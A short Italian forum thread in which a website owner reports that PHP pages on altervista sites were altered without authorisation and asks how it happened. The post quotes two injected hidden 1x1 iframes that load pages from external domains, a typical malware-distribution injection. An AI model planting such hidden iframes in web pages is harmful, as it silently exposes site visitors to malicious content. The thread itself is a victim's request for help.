Trovate pagine php modificate con un iframe

Ciao a tutti. Ho un paio di siti su altervista.
Oggi pomeriggio mi sono accorto che alcune pagine php di questi siti sono state modificate da qualcuno che non ha le chiavi di accesso al sito.
Nello specifico ho rilevato che sono state aggiunte le righe:

Codice HTML:

---

<iframe src=http://www.scadenzario.info/templates/tmpl2/stata2.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

<iframe src=http://globedrumexp.com/stata7.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

---

proprio all'inizio delle pagine php.

Domando: come sia avvenuto questo fatto?

Naturalmente non appena me ne sono accorto ho cambiato i dati d'accesso...

Ciao

Potrebbe essere qualche virus sul tuo computer. Hai fatto una scansione?

Ho controllato la data dei file modificati, e risale a febbraio 2012. Ed io me ne sono accorto solo adesso. Non ho la possibilità di dire se avevo qualche virus, infatti da allora ad oggi ho cambiato persino sistema operativo...
In giro ho trovato queste discussioni che risalgono a quel periodo:

http://www.giorgiotave.it/forum/host...ltervista.html

http://usenet.it.rooar.com/showthread.php?t=7344858


Comunque, per approfondire, mettiamo cha avessi avuto un virus, che cosa avrebbe potuto fare questo virus per far inserire le due righe di codice in alcune pagine php?
Ciao